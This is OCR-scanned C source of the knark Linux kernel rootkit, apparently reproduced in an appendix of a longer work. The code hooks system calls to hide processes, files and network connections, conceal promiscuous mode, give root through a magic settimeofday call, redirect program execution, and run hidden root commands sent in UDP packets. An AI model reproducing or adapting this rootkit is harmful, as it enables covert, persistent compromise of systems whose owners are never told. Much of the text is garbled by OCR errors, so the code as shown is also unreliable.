if('knark_secret_file(ino, dev))
return -1;

kds = knark _get secret_dev(dev);
if(kds == NULL)
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return -1;

nfiles = kds->d_nfiles;
for(i = 0; 1 < nfiles; i++)
if(kds->d_inode[i] == ino)

kds->d_inode[i] = kds->d_inode[nfiles - 1];
kds->d_inode[nfiles - 1] = O;
if(kds->d_name[nfiles - 1])
kfree(kds->d_name[nfiles - 1]);
return --kds->d_nfiles;

}

return -1;

}

asmlinkage long knark getdents(unsigned int fd, void *dirp, unsigned
int count)

{

int ret;

int proc = 0;

struct inode *dinode;

char *ptr = (char *)dirp;
struct dirent *curr;

struct dirent *prev = NULL;
kdev_t dev;

ret = (*original_getdents)(fd, dirp, count);
if(ret <= 0) return ret;

dinode = current->files->fd[fd]->f _dentry->d_inode;
dev = dinode->i1_sb->s dev;

if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) ==
proc_major_dev &&
MINOR(dinode->i_dev) == proc_minor_dev)
proc++;

while(ptr < (char *)dirp + ret)
curr = (struct dirent *)ptr;
1Tt (proc && (curr->d_ino == knark_ino ||

knark_is_invisible(knark_atoi(curr->d_name)))) |1
knark_secret_file(curr->d_ino, dev))

{
if(curr == dirp)
{
ret -= curr->d_reclen;
knark_bcopy(ptr + curr->d_reclen, ptr, ret);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else
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}

prev = curr;

ptr += curr->d_reclen;

}

return ret;

asmlinkage long knark_getdents64(unsigned int fd, void *dirp, unsigned
int count)

{

int ret;

int proc = 0;

struct inode *dinode;

char *ptr = (char *)dirp;

struct linux_dirent64 *curr;

struct linux_dirent64 *prev = NULL;
kdev_t dev;

ret = (*original_getdents64)(fd, dirp, count);
if(ret <= 0) return ret;

dinode = current->files->fd[fd]->f _dentry->d_inode;
dev = dinode->i_sb->s_dev;

if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) ==

proc_major_dev &&

}

MINOR(dinode->i_dev) == proc_minor_dev)
proc++;
while(ptr < (char *)dirp + ret)

curr = (struct linux_dirent64 *)ptr;
if( (proc && (curr->d_ino == knark_ino ||

knark_is_invisible(knark_atoi(curr->d_name)))) ||
knark_secret_file(curr->d_ino, dev))

{
if(curr == dirp)
{
ret -= curr->d_reclen;
knark_bcopy(ptr + curr->d_reclen, ptr, ret);
continue;
}
else
prev->d_reclen += curr->d_reclen;
}
else

prev = curr;

ptr += curr->d_reclen;

}

return ret;

asmlinkage int knark fork(struct pt _regs regs)
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if(knark_is_invisible(current->pid))
hide++;

pid = (*original_fork)(regs);
if(hide && pid > 0)
knark_hide_process(pid);

return pid;

asmlinkage int knark_clone(struct pt_regs regs)

{

if(knark_is_invisible(current->pid))
hide++;

pid = (*original_clone)(regs);
if(hide && pid > 0)
knark_hide_process(pid);

return pid;

asmlinkage long knark kill(pid_t pid, int sig)

{

struct task struct *task;

if(sig = SIGINVISIBLE && sig !'= SIGVISIBLE)
return (*original_kilD)(pid, sig);

if((task = knark_find_task(pid)) == NULL)
return -ESRCH;

if(current->uid && current->euid)
return -EPERM;

if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE;
else task->flags &= ~PF_INVISIBLE;

return O;

asmlinkage long knark ioctl(int fd, int cmd, long arg)

{

int ret;

struct ifreq ifr;
struct inode *inode;
struct dentry *entry;
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if(cmd 1= KNARK_ELITE_CMD)

{
ret = (original_ioctl)(fd, cmd, arg);
iT(lret &% cmd == SIOCGIFFLAGS)
{
copy_from _user(&ifr, (void *)arg, sizeof(struct ifreq));
ifr.ifr_ifru.ifru_flags &= ~I1FF_PROMISC;
copy_to_user((void *)arg, &ifr, sizeof(struct ifreq));
}
return ret;
}
if(current->files->fd[fd] == NULL)
return -1;
entry = current->files->fd[fd]->F _dentry;

inode = entry->d_inode;
switch(arg)

case KNARK HIDE_FILE:
ret = knark_hide_file(inode, entry);
break;

case KNARK_UNHIDE_FILE:
ret = knark _unhide_file(inode);
break;

default:
return -EINVAL;

}

return ret;

int knark_add_nethide(char *hidestr)
struct nethide_list *nl = knark_nethide_list;
if(nl->nl_hidestr)

while(nl->next)
nl = nl->next;

nl->next = kmalloc(sizeof(struct nethide list), GFP_KERNEL);
if(nl->next == NULL) return -1;
nl = nl->next;

}

nl->next = NULL;
nl->nl_hidestr = hidestr;

return O;

int knark clear_nethides(void)

{
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struct nethide_list *tmp, *nl = knark nethide_ list;

do {
if(nl->nl_hidestr)
{
putname(nl->nl_hidestr);
nl->nl_hidestr = NULL;
}

nl = nl->next;
} while(nl);

nl = knark nethide_ list->next;
while(nl)

tmp = nl->next;
kfree(nl);
nl = tmp;

}
knark_nethide_list->next = NULL;

return O;

asmlinkage ssize_t knark read(int fd, char *buf, size t count)
A

int ret;

char *pl, *p2;

struct inode *dinode;

struct dentry * f _entry;

struct nethide_list *nl = knark _nethide_list;

ret = (*original_read)(fd, buf, count);
if(ret <= 0 || nl->nl_hidestr == NULL) return ret;

dinode = current->files->fd[fd]->f _dentry->d_inode;
Tf_entry = current->files->fd[fd]->f_dentry;

/*
* The /proc file system has a minor number 4 on my system. But
this
* number could be different on another system. The best way would
be
* to Find out this number and put it as a global variable.
* it is checked here, in getdents, and in getdents64
*/
iT(MAJOR(dinode->i_dev) != proc_major_dev || MINOR(dinode->i_dev)
I= proc_minor_dev)
return ret;

if(strncmp(f_entry->d_iname, PROC_NET TCP, 3) == 0
|l strncmp(f_entry->d_iname, PROC_NET UDP, 3) == 0)

do {
while( (pl1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) )
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*pl =~ *pl;

while(*pl = "\n" && pl > buf)
pl--;

if(*pl == "\n")
pl++;

while(*p2 = "\n" && p2 < buf + ret - 1)
p2++;

if(*p2 == "\n")
pP2++;

while(p2 < buf + ret)
*(p1l++) = *(p2++);

ret -= p2 - pl;
}
nl = nl->next;
} while(nl && nl->nl_hidestr);

return ret;

}
int knark _clear_redirects()
{
struct redirect_list *tmp, *rl = knark_redirect_list;
do {
if(rl->rl_er.er_from)
{
putname(rl->rl_er.er_from);
rl->rl_er.er_from = NULL;
if(rl->rl_er.er_to)
{
putname(rl->rl_er.er_to);
rl->rl_er.er_to = NULL;
}
rl = rl->next;
} while(rh);
rl = knark_redirect_list->next;
while(rl)
{
tmp = rl->next;
kfree(rl);
rl = tmp;
¥ _ _
knark_redirect list->next = NULL;
return O;
}
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int knark_add redirect(struct exec_redirect *er)

{
struct redirect_list *rl = knark_redirect _list;
if(knark_strcmp(er->er_from, knark redirect_path(er->er_from)) ||
Tknark_strcmp(er->er_from, er->er_to))
return -1;
if(rl->rl_er.er_from)
while(rl->next)
rl = rl->next;
rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL);
if(rl->next == NULL) return -1;
rl = rl->next;
}
rl->next = NULL;
ri->rl_er_er_from = er->er_from;
ri->rl_er.er_to = er->er_to;
return O;
}
char *knark_redirect_path(char *path)
{
struct redirect_list *rl = knark_redirect _list;
do {
if(rl->rl_er.er_from && 'knark strcmp(path, rl->rl_er.er_from))
return rl->rl_er.er_to;
rl = rl->next;
} while(rh);
return path;
}

asmlinkage long knark_ settimeofday(struct timeval *tv, struct timezone
*tz)

{
char *hidestr;
struct exec_redirect er, er_user;
switch((int)tv)
case KNARK_GIMME_ROOT:
current->uid = current->euid = current->suid = current->fsuid =
0;
current->gid = current->egid = current->sgid = current->fsgid =
0;

break;

case KNARK_ADD_REDIRECT:
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copy_from user((void *)&er_user, (void *)tz, sizeof(struct
exec_redirect));

er.er_from = getname(er_user.er_from);

er.er_to = getname(er_user.er_to);

iT(1S_ERR(er.er_from) || IS_ERR(er.er_to))

return -1;
knark_add_redirect(&er);
break;

case KNARK_CLEAR _REDIRECTS:
knark_clear_redirects();
break;

case KNARK_ADD_NETHIDE:
hidestr = getname((char *)tz);
iF(IS_ERR(hidestr))

return -1;
knark_add_nethide(hidestr);
break;

case KNARK_CLEAR_NETHIDES:
knark_clear_nethides();
break;

default:
return (*original_settimeofday)(tv, tz);

}

return O;

asmlinkage int knark_execve(struct pt_regs regs)
t

int error;

char *filename;

lock kernel();
filename = getname((char *)regs.ebx);
error = PTR_ERR(Ffilename);
iT(IS_ERR(Ffilename))

goto out;

error = do_execve(knark_redirect_path(filename), (char **)regs.ecx,
(char **)regs.edx, &regs);

if(error == 0)
// current->flags &= ~PF_DTRACE;
current->flags &= ~PT_DTRACE;
putname(filename);
out:
unlock kernel();
return error;

#define BUF_LIMIT (PAGE_SIZE - 80)
int knark _read pids(char *buf, char **start, off _t offset, int len,
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int * eof, void * data)

{
struct task _struct *task;
if(offset > 0) return O;
if( (task = knark find_task(l)) == NULL)
return O;
len = sprintf(buf, " EUID PID\tCOMMAND\N");
do {
if(task->flags & PF_INVISIBLE)
len += sprintf(buf+len, "%5d %d\t%s\n',
task->euid, task->pid, task->comm);
task = task->next_task;
} while(task->pid = 1 && len < BUF_LIMIT);
*eof = 1;
*start = buf;
return len;
}

int knark_read_files(char *buf, char **start, off_t offset, int len,
int * eof, void * data)

. _
int n, i;
if(offset > 0) return O;
len = sprintf(buf, "HIDDEN FILES\n™);
for(n = 0; n < kfs->F _ndevs; n++)
for(i = 0; 1 < kfs->F _dev[n]->d_nfiles; i++)
len += sprintf(buf+len, "%s\n", kfs->f dev[n]->d_name[i]);
*eof = 1;
*start = buf;
return len;
}

int knark read_redirects(char *buf, char **start, off_t offset, int
len,
int * eof, void * data)

int n, tmp=0;
struct redirect_list *rl = knark redirect_list;
if(offset > 0) return O;

len = sprintf(buf, "REDIRECT FROM REDIRECT TO\n'");
if(r1->rl_er._.er_from == NULL)
return len;

while(rl)
{
len += tmp = sprintf(buf+len, "%s"™, rl->rl_er._er_from);
n =30 - tmp;
memset(buf+len, " ", n);
len += n;

170



len += sprintf(buf+len, "%s\n", rl->rl_er.er_to);
rl = rl->next;

b

*eof = 1;
*start = buf;
return len;

int knark_read nethides(char *buf, char **start, off_t offset, int len,
int * eof, void * data)

{
struct nethide_list *nl = knark nethide_list;
if(offset > 0) return O;
len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n™);
while(nl && nl->nl_hidestr)
{
len += sprintf(buf+len, "\"%s\'"\n", nl->nl_hidestr);
nl = nl->next;
}
*eof = 1;
*start = buf;
return len;
}

int knark read_author(char *buf, char **start, off_t offset, int len,
int *eof, void *data)

if(offset > 0) return O;
len = sprintf(buf,

"k Kx Kk K Kk Kk Kk Kk Kk X K* Kx Kk Kk K* Kk Xk K* Kk Xk K* K * K*k *x * *k X *

*\n"
"* knark %s by Creed @ #hack.se 1999 <creed@sekure.net>*\n"
"* Ported to 2.4.x 2001 by cyberwinds@hotmail.com
*\n"
LIP3
*\n"*
e This program may NOT be used in an illegal way
*\n"
el or to cause damage of any kind.
*\n"*
Mk *x % % % % % % X% % &% X *x X% % % % % % % *x % *x *x *x *x * *x
**\n"

,KNARK_VERSION);
*eof = 1;
*start = buf;
return len;

#ifdef FUCKY_REXEC_VERIFY
ssize_t knark_verify_rexec_fops_read(struct file *file, char *buf,
size_t len, loff_t *offset)
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if(file->f_pos == strlen("fikadags?\n'))
return O;

len = sprintf(buf, "fikadags?\n");
file->f _pos = len;

return len;

int knark _write verify rexec(struct file *file, const char *buf, u_long
count,

{

void *data)

int num, n;
char buff[16];

n = count<16? count:16;
knark_bcopy((char *)buf, buff, n);
if(buff[n-1] == "\n")

buff[n-1] = "\0";
else

buff[n] = "\0";

num = knark_ atoi(buff);
if(num >= 0 && num <= 16)
verify_rexec = num;

file->T_pos = count;

return count;

int knark read_verify_rexec(char *buf, char **start, off_t offset, int
len,

{

int *eof, void * data)

len = sprintf(buf,

"Knark rexec verify-packet must be one of:\n"
ICMP_NET_UNREACH\n""
ICMP_HOST_UNREACH\n"
ICMP_PROT_UNREACH\n"
ICMP_FRAG_NEEDED\n""
ICMP_FRAG_NEEDED\n""
ICMP_SR_FAILED\n"
ICMP_NET_UNKNOWN\N"*
ICMP_HOST_ISOLATED\n"
ICMP_HOST_ISOLATED\n"
ICMP_NET_ANO\N"

" 10 ICMP_HOST_ANO\N"

" 11 ICMP_NET_UNR_TOS\n"

" 12  ICMP_HOST_UNR_TOS\n"

" 13 ICMP_PKT_FILTERED\n"

" 14 ICMP_PREC_VIOLATION\N"
" 15 ICMP_PREC_VIOLATION\N"

O©CoOoO~NOOUOTAWNEO
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" 16 (don"t verify)\n"
ll\nll
"Currently set to: %d\n",
verify_rexec);

*eof = 1;

*start = buf;

return len;

}
#endift /*FUCKY_REXEC_VERIFY*/

int knark _execve_userprogram(char *path, char **argv, char **envp, int
secret)
{

static char *path_argv[2];

static char *def _envp[] = { "HOME=/"", "TERM=linux'',

"PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:"
"/usr/bin/X11"™, NULL

}:

static struct execve_args args;

pid_t pid;

if(path) args.path = path;

else return -1;

if(argv) args.argv = argv;

else {
path_argv[0] = path;
path_argv[1l] = NULL;

if(envp) args.envp = envp;
else args.envp = def_envp;

pid = kernel_thread(knark do_exec userprogram, (void *)&args,
CLONE_FS);
if(pid == -1)
return -1;

if(secret) knark hide_process(pid);
return pid;

int knark _do_exec_userprogram(void *data)

int i;
struct fs_struct *fs;
struct execve_args *args = (struct execve_args *) data;

lock kernel();
exit_fs(current);
fs = init_task.fs;

current->fs = fs;
atomic_inc(&fs->count);
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unlock kernel();

for(i = 0; 1 < current->Files->max_fds; i++)
if(current->Files->fd[i]) close(i);

current->uid = current->euid = current->fsuid = 0;
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_effective);

set_fs(KERNEL_DS);

if(execve(args->path, args->argv, args->envp) < 0)
return -1;

return O;

int knark udp_rcv(struct sk _buff *skb)

int i, datalen;

struct udphdr *uh = (struct udphdr *)(skb->data + 48);
char *buf, *data = skb->data + 56;

static char *argv[16];

char space_str[2];

if(uh->source = ntohs(53) ||
uh->dest != ntohs(53) ||
*(u_long *)data != UDP_REXEC_USERPROGRAM)
goto bad;
data += 4;
datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long);

buf = kmalloc(datalen+1, GFP_KERNEL);
if(buf == NULL)
goto bad;

knark_bcopy(data, buf, datalen);
buf[datalen] = *\0";

space_str[0]

space_str[1]

for(i = 0; 1
NULL ;

SPACE_REPLACEMENT;
0;
16 && (argv[i] = strtok(i? NULL:buf, space_str)) I=

AN Il

i++)]
argv[i] = NULL;

knark_execve_userprogram(argv[0], argv, NULL, 1);
#ifdef FUCKY_REXEC VERIFY
if(verify _rexec >= 0 && verify _rexec < 16)
icmp_send(skb, ICMP_DEST UNREACH, verify _rexec, 0);
#endif /*FUCKY_REXEC_VERIFY*/

return O;

bad:
// return original_udp_protocol->handler(skb);
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}

return original_udp_protocol->handler(skb);

#define DMODE S_IFDIR|S_IRUGO|S_IXUGO
#define FMODE S_IFREG|S_IRUGO

int init_module(void)

{

inet_add_protocol (&knark _udp_protocol);
original_udp_protocol = knark udp_protocol.next;
inet_del protocol(original_udp_protocol);

kfs = kmalloc(sizeof(struct knark fs struct), GFP_KERNEL);
if(kfs == NULL) goto error;
memset((void *)kfs, 0, sizeof(struct knark fs struct));

knark_redirect_list = kmalloc(sizeof(struct redirect_list),

GFP_KERNEL) ;

if(knark_redirect_list == NULL) goto error;
memset((void *)knark_redirect list, 0, sizeof(struct

redirect_list));

knark_nethide_list = kmalloc(sizeof(struct nethide_list),
GFP_KERNEL);

if(knark_nethide_list == NULL) goto error;

memset((void *)knark_nethide_list, 0, sizeof(struct nethide list));

knark_dir = create_proc_entry(MODULE_NAME, DMODE, &proc_root);
if(knark_dir == 0x0) return knark _error(‘'create knark dir');
knark_ino = knark dir->low_ino;

knark_pids = create_proc_entry("'pids”™, FMODE, knark dir);
if(knark_pids == 0x0) return knark_error('create knark pids'™);
knark_pids->read_proc = knark read pids;

knark_files = create_proc_entry(*files"”, FMODE, knark dir);
if(knark_files == 0x0) return knark error('create knark_files™);
knark_files->read_proc = knark_read_ files;

knark_author = create_proc_entry(“'author', FMODE, knark dir);
if(knark_author == 0x0) return knark error(‘‘create knark author');
knark_author->read_proc = knark_read_author;

knark_redirects = create proc_entry(“'redirects', FMODE, knark dir);
if(knark_redirects == 0x0) return knark_error(‘'create redirects");
knark_redirects->read_proc = knark_read_redirects;

knark_nethides = create_proc_entry(''nethides”™, FMODE, knark dir);
if(knark_nethides == 0x0) return knark error(‘'create nethides");
knark_nethides->read proc = knark read nethides;

#itdet FUCKY_REXEC_VERIFY

knark_verify _rexec = create proc_entry(“'verify_rexec",

FMODE|S_IWUSR, knark_dir);

if(knark_verify_rexec == 0x0) return knark_error(‘'create

verify_rexec');
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knark_verify_rexec->read _proc = knark read verify_rexec;
knark_verify_rexec->write _proc = knark write_verify rexec;
#endif /*FUCKY_REXEC_VERIFY*/

original_getdents = sys call_table[SYS_getdents];
sys _call_table[SYS getdents] = knark_getdents;
original_getdents64 = sys call_table[SYS getdents64];
sys_call_table[SYS_getdents64] = knark_getdents64;
original_kill = sys call_table[SYS kill];
sys _call_table[SYS kill] = knark kill;
original_read = sys call_table[SYS read];
sys_call_table[SYS read] = knark read;
original_ioctl = sys_call_table[SYS ioctl];
sys_call_table[SYS _ioctl] = knark_ioctl;
original_fork = sys call_table[SYS_ fork];
sys _call_table[SYS fork] = knark fork;
original_clone = sys_call_table[SYS clone];
sys_call_table[SYS _clone] = knark_clone;
original_settimeofday = sys _call_table[SYS_settimeofday];
sys_call_table[SYS_settimeofday] = knark settimeofday;
original_execve = sys call_table[SYS_execve];
sys_call_table[SYS _execve] = knark execve;
return O;

error:
return -1;

}

void cleanup_module(void)

{

int i, n;

inet_add_protocol (original_udp_protocol);
inet_del_protocol (&knark_udp_protocol);

remove_proc_entry(*"author', knark dir);
remove_proc_entry(“'redirects", knark dir);
remove_proc_entry(‘'nethides”™, knark_dir);
remove_proc_entry(*'pids’, knark dir);
remove_proc_entry(*"files”™, knark dir);
#ifdef FUCKY_REXEC_VERIFY
remove_proc_entry(*'verify rexec'", knark dir);
#endif
remove_proc_entry(MODULE_NAME, &proc_root);

sys _call_table[SYS getdents] = original_getdents;
sys_call_table[SYS getdents64] = original_getdents64;

sys _call_table[SYS kill] = original_kill;

sys _call_table[SYS read] = original_read;

sys _call_table[SYS ioctl] = original_ioctl;

sys _call_table[SYS fork] = original_fork;
sys_call_table[SYS clone] = original_clone;
sys_call_table[SYS_settimeofday] = original_settimeofday;
sys call_table[SYS_execve] = original_execve;

knark_clear_redirects();
kfree(knark_redirect _list);
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knark_clear_nethides();

kfree(knark _nethide list);

for(i = 0; 1 < kfs->f_ndevs; i++){
kfree(kfs->f _dev[i]);
for(n = 0; kfs->f_dev[i]->d_name; n++)
kfree(kfs->f _dev[i]->d_name);

}

kfree(kfs);
}

EXPORT_NO_SYMBOLS;

C.12: Knark.c.2.2

knark.c, part of the knark package
(c) Creed @ #hack.se 1999 <creed@sekure.net>

*
*
*
* This Ikm is based on heroin.c by Runar Jensen, so credits goes to
him.
* Heroin.c however offered quite few features, and major changes have
been

* made, so this isn"t the same piece of code anymore.

*
* This program/lkm may NOT be used in an illegal way,

* or to cause damage of any Kkind.

*
*

See README for more info.
*/

#define _ KERNEL_SYSCALLS
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/sched.h>
#include <linux/socket.h>
#include <linux/smp_lock.h>
#include <linux/stat.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/Zif.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <sys/syscall_h>
#include <net/protocol.h>
#include <net/udp.h>
#include <net/icmp.h>

#include <linux/dirent.h>
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#include
#include
#include

<linux/proc_fs.h>
<asm/uaccess.h>
<asm/errno.h>

#include "knark.h"

#define PF_INVISIBLE 0x10000000

static inline _syscall3(int,
uint,

count)
static inline _syscall2(int,
static inline _syscall3(int,
static inline _syscalll(int,
static inline _syscalll(int,
static inline _syscall2(int,

getdents, uint, fd, struct dirent *, dirp,

kill,
ioctl,

int, pid, int, sig);
int, fd, int, cmd,
fork, int, regs);
clone, int, regs);
settimeofday, struct timeval *, tv,

long, arg);

struct timezone *, tz);

extern void *sys call_table[];
int
int
int
int
int
int
int
int

Croriginal_kilD(int, int);

(*original_read)(unsigned int, char *, size_t);
(*original_ioctl)(int, int, long);

(*original_fork)(struct pt_regs);

(*original_clone)(struct pt_regs);

(*original_execve)(struct pt_regs);
(*foriginal_settimeofday) (struct timeval *, struct timezone *);

int knark_atoi(char *);

void knark bcopy(char *, char *, unsigned int);
struct task struct *knark_find_task(pid_t);

int knark_is_invisible(pid_t);

int knark hide_process(pid_t);

int knark _hide_file(struct inode *, struct dentry *);

int knark _unhide_file(struct inode *);

int knark_secret_file(ino_t, kdev_t);

struct knark_dev_struct *knark_add_secret_dev(kdev_t);

struct knark_dev_struct *knark_get secret_dev(kdev_t);

int knark _getdents(unsigned int, struct dirent *, unsignhed int);
int knark_fork(struct pt_regs);

int knark _clone(struct pt_regs);

int knark_kill(pid_t, int);

int knark_ioctl(int, int, long);

int knark_add nethide(char *);

int knark_clear_nethides(void);

int knark_read(int, char *, size_t);

int knark_settimeofday(struct timeval *, struct timezone *);

int knark _add _redirect(struct exec_redirect *);
char *knark_redirect_path(char *);

int knark clear_redirects(void);

int knark _execve(struct pt_regs regs);

int knark _read_pids(char *, char **, off_t, int,
int knark _read_files(char *, char **, off_t, int,
int knark _read_redirects(char *, char **, off_t,
int knark _read nethides(char *, char **, off_t,

int);
int);
int, int);
int, int);
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int knark _read_author(char *, char **, off_t, int, int);

#ifdef FUCKY_REXEC_VERIFY

int knark_read_verify_rexec(char *, char **, off_t, int, int);

int knark _write verify rexec(struct file *, const char *, u_long, void
*);

#endif /*FUCKY_REXEC_VERIFY*/

int knark _do_exec_userprogram(void *);

int knark_execve_userprogram(char *, char **, char **, int);

int knark udp_rcv(struct sk buff *, unsigned short);

struct inet_protocol *original_udp_protocol;

ino_t knark ino;
int errno;

#ifdef FUCKY_REXEC_VERIFY
int verify rexec = 16;
#endif /*FUCKY_REXEC_VERIFY*/

struct redirect_list
{
struct redirect_list *next;
struct exec_redirect rl_er;
} *knark_redirect_list = NULL;

struct nethide_list

{
struct nethide_ list *next;
char *nl_hidestr;

} *knark_nethide_list = NULL;

struct knark_dev_struct {
kdev_t d_dev;
int d _nfiles;
ino_t d_inode[MAX_SECRET_FILES];
char *d_name[MAX_SECRET_FILES];

struct knark_fs_struct {

int ¥ _ndevs;

struct knark_dev_struct *f_dev[MAX_ SECRET_DEVS];
} *kfs;

struct execve_args {
char *path;
char **argv;
char **envp;

struct proc_dir_entry knark_dir = {
01
sizeof(MODULE_NAME)-1, MODULE_NAME,
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IFDIR]S_IRUGO|S_IXUGO,

S_IF
1, 0, O,
01

struct proc_dir_entry knark pids = {
0!
4, "pids”,
S _IFREG]S_IRUGO,
1’ 0’ 0’
0’
NULL,
&knark_read pids

struct proc_dir_entry knark files = {
0,
5, "files",
S_IFREG]S_IRUGO,
1, 0, O,
0,
NULL,
&knark_read_ files

struct proc_dir_entry knark redirects =
0,
9, "redirects",
S_IFREG]S_IRUGO,
1, 0, O,
o,
NULL,
&knark_read _redirects

struct proc_dir_entry knark nethides = {
01
8, "nethides",
S _IFREG]S_IRUGO,

1, 0, O,

0,

NULL,

&knark_read _nethides

struct proc_dir_entry knark author = {
0,
6, "author',
S _IFREG]S_IRUGO,
1, 0, O,
0,
NULL,
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&knark_read_author

#ifdef FUCKY_REXEC VERIFY
struct proc_dir_entry knark verify rexec = {
o,
12, "verify_rexec",
S _IFREG]S_IRUGO]S_IWUSR,
1, 0, O,
0,
NULL,
&knark_read_verify rexec,
NULL,
NULL, NULL, NULL,
NULL,
NULL,
&knark_write_verify_rexec

¥
#endif /*FUCKY_REXEC_VERIFY*/

struct inet_protocol knark udp_protocol =
{

&knark_udp_rcv,

NULL,

NULL,

IPPROTO_ICMP,

0,

NULL,

"1CMP™

int knark _atoi(char *str)
int ret = 0;

while (*str)

{
if(*str < "0 || *str > "9%)
return -EINVAL;
ret *= 10;
ret += (*str - "07);
Str++;
3

return ret;

void knark bcopy(char *src, char *dst, unsigned int num)

while(num-- > 0)
*(dst++) = *(src++);
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int knark_strcmp(const char *strl, const char *str2)
{
while(*strl && *str2)
iITC*(strl++) 1= *(str2++))
return -1;
return O;

struct task struct *knark_find_task(pid_t pid)
{

struct task _struct *task = current;

do {
if(task->pid == pid)
return task;
task = task->next_task;
} while(current I= task);

return NULL;

}
int knark_is_invisible(pid_t pid)
{
struct task struct *task;
if(pid < 0) return O;
if( (task = knark find_task(pid)) == NULL)
return O;
if(task->flags & PF_INVISIBLE)
return 1;
return O;
}
int knark _hide_process(pid_t pid)
{
struct task struct *task;
iT( (task = knark_find_task(pid)) == NULL)
return O;
task->flags |= PF_INVISIBLE;
return 1;
}

struct knark_dev_struct *knark _add_secret_dev(kdev_t dev)

{

int current_dev = kfs->F_ndevs;
int ndevs = kfs->f ndevs;

182



struct knark _dev_struct **kds = kfs->f _dev;

if(ndevs >= MAX_SECRET_DEVS)
return NULL;

kds[current_dev] = (struct knark dev_struct *)
kmalloc(sizeof(struct knark dev_struct), GFP_KERNEL);
if(kds[current_dev] == NULL)
return NULL;

kds[current_dev]->d_dev = dev;

kds[current_dev]->d _nfiles = 0;

memset(kds[current_dev]->d_inode, 0, MAX SECRET_FILES *
sizeof(ino_t));

memset(kds[current_dev]->d_name, 0, MAX SECRET_FILES * sizeof(char
*));

’kfs—>f_ndevs++;

return kds[current_dev];

struct knark_dev_struct *knark_get_secret_dev(kdev_t dev)

{

int ndevs = kfs->f ndevs;
struct knark _dev_struct **kds = kfs->f _dev;
int i;

for(i = 0; 1 < ndevs; i++)
if(kds[i]->d_dev == dev)
return kds[i];

return NULL;

int knark_secret_file(ino_t inode, kdev_t dev)
int i;
int nfiles;
struct knark_dev_struct *kds;

kds = knark_get secret_dev(dev);
if(kds == NULL)
return O;
nfiles = kds->d nfiles;
for(i = 0; 1 < nfiles; i++)
if(kds->d_inode[i] == inode)
return 1;

return O;

int knark _hide_file(struct inode *inode, struct dentry *entry)

{
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char *name, *nameptr[16];

int i, len, namelen = 0;

struct knark dev_struct *kds;
ino_t ino = inode->i_ino;

kdev_t dev = inode->i_sb->s dev;

if(knark_secret_file(ino, dev))
return -1;

kds = knark _get secret_dev(dev);
if(kds == NULL) {
kds = knark_add secret_dev(dev);
if(kds == NULL)

return -1;
3
else if(kds->d nfiles >= MAX_SECRET FILES)
return -1;

kds->d_inode[kds->d_nfiles] = ino;

if(entry) {
memset(nameptr, 0, 16*sizeof(char *));
for(i = 0; 1 < 16 && entry->d_name.len = 1 && entry-

>d_name.name[0] !'= "/7; i++)

int

{
nameptr[i] = (char *)entry->d_name.name;
namelen += entry->d_name.len;
entry = entry->d_parent;

}

namelen += i + 1;

kds->d_name[kds->d_nfiles] = kmalloc(namelen, GFP_KERNEL);
name = kds->d_name[kds->d_nfiles];

name[0] = *\0~;

for(i = 0; nameptr[i]; i++) ;
for(i--; 1 >= 0; i--)

{
len = strlen(name);
name[len] = */"°;
strcpy(&name[len+1], nameptr[i]);
}
else

kds->d_name[kds->d_nfiles] = NULL;

return ++kds->d_nfiles;

knark_unhide_file(struct inode *inode)

int i;

int nfiles;

struct knark_dev_struct *kds;
ino_t Ino = inode->i_ino;
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kdev_t dev = inode->i_dev;

if('knark_secret_file(ino, dev))
return -1;

kds = knark _get secret _dev(dev);
if(kds == NULL)
return -1;

nfiles = kds->d _nfiles;
for(i = 0; 1 < nfiles; i++)
if(kds->d_inode[i] == ino)

kds->d_inode[i] = kds->d_inode[nfiles - 1];
kds->d_inode[nfiles - 1] = O;
if(kds->d_name[nfiles - 1])
kfree(kds->d_name[nfiles - 1]);
return --kds->d_nfiles;

}

return -1;

int knark_getdents(unsigned int fd, struct dirent *dirp, unsigned int
count)

{

int ret;

int proc = 0;

struct inode *dinode;

char *ptr = (char *)dirp;
struct dirent *curr;

struct dirent *prev = NULL;
kdev_t dev;

ret = (*original_getdents)(fd, dirp, count);
if(ret <= 0) return ret;

dinode = current->files->fd[fd]->f _dentry->d_inode;
dev = dinode->i_sb->s_dev;

if(dinode->i_ino == PROC_ROOT_INO && 'MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1)
proc++;

while(ptr < (char *)dirp + ret)
curr = (struct dirent *)ptr;
if( (proc && (curr->d_ino == knark_ino ||
knark_is_invisible(knark_atoi(curr->d_name)))) ||
knark_secret_file(curr->d_ino, dev))
if(curr == dirp)
{

ret -= curr->d_reclen;
knark_bcopy(ptr + curr->d_reclen, ptr, ret);
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continue;

}

else
prev->d_reclen += curr->d_reclen;

}

else
prev = curr;

ptr += curr->d_reclen;

}

return ret;

}
int knark_ fork(struct pt_regs regs)
{
pid_t pid;
int hide = 0
if(knark_is_invisible(current->pid))
hide++;
pid = (*original_fork)(regs);
if(hide && pid > 0)
knark_hide_process(pid);
return pid;
}
int knark _clone(struct pt_regs regs)
{
pid_t pid;
int hide = 0O;
if(knark_is_invisible(current->pid))
hide++;
pid = (*original_clone)(regs);
if(hide && pid > 0)
knark_hide_process(pid);
return pid;
}

int knark_kill(pid_t pid, int sig)
struct task struct *task;

iT(sig = SIGINVISIBLE && sig != SIGVISIBLE)
return (*original_kill)(pid, sig);

iT((task = knark_find_task(pid)) == NULL)
return -ESRCH;

186



if(current->uid && current->euid)
return -EPERM;

if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE;
else task->flags &= ~PF_INVISIBLE;

return O;

knark_ioctl(int fd, int cmd, long arg)

int ret;

struct ifreq ifr;
struct inode *inode;
struct dentry *entry;

